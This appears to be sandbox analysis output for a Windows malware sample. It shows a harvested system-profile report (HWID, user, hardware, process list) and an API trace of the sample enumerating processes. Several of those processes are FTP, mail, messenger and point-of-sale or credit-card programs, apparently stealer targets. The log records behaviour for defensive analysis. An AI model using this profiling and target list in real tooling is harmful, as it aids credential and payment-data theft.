03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076"
[0054.883] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
[0054.884] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9d8
[0054.884] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.884] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
[0054.885] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.885] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.885] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
[0054.886] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dae8
[0054.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.886] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
[0054.887] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dae8
[0054.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.887] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
[0054.887] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dab8
[0054.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.888] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
[0054.888] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da58
[0054.888] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.888] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
[0054.889] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da18
[0054.889] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.889] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
[0054.890] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9c8
[0054.890] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.890] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
[0054.892] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da78
[0054.892] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.892] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
[0054.893] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.893] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.893] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
[0054.894] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.894] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.894] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
[0054.895] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.895] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.895] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
[0054.897] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da18
[0054.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.897] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
[0054.898] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da68
[0054.898] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.898] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
[0054.899] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9b8
[0054.899] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.899] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
[0054.900] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9d8
[0054.900] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.900] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
[0054.901] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d968
[0054.901] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.901] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
[0054.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.903] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.903] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
[0054.904] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.904] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.904] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
[0054.905] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d988
[0054.905] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.905] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
[0054.906] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da88
[0054.906] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.906] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
[0054.907] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da78
[0054.907] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.907] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
[0054.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dae8
[0054.909] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.909] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
[0054.910] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d948
[0054.910] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.910] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
[0054.911] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da28
[0054.911] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.911] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
[0054.912] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.912] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.912] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
[0054.913] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d988
[0054.913] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.913] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
[0054.914] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9a8
[0054.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.914] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
[0054.915] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dad8
[0054.915] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.915] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
[0054.916] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.916] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.917] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
[0054.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d978
[0054.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.918] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
[0054.919] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da88
[0054.919] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.919] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
[0054.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9a8
[0054.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.920] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
[0054.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67daa8
[0054.921] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.921] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
[0054.922] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.922] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
[0054.923] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67daa8
[0054.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.923] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
[0054.925] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d968
[0054.925] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.925] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
[0054.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d978
[0054.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.926] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
[0054.927] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d968
[0054.927] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.927] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
[0054.928] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dab8
[0054.928] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.928] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
[0054.929] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9b8
[0054.929] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.929] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
[0054.930] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.930] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.930] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="backprovideleg.exe")) returned 1
[0054.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9c8
[0054.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.931] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="different.exe")) returned 1
[0054.932] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dac8
[0054.932] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.932] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="usanswer.exe")) returned 1
[0054.933] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9e8
[0054.933] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.933] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1004, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="generation-note-store.exe")) returned 1
[0054.934] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dac8
[0054.934] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.934] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="really.exe")) returned 1
[0054.935] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67db08
[0054.935] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.935] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
[0054.936] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da58
[0054.936] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
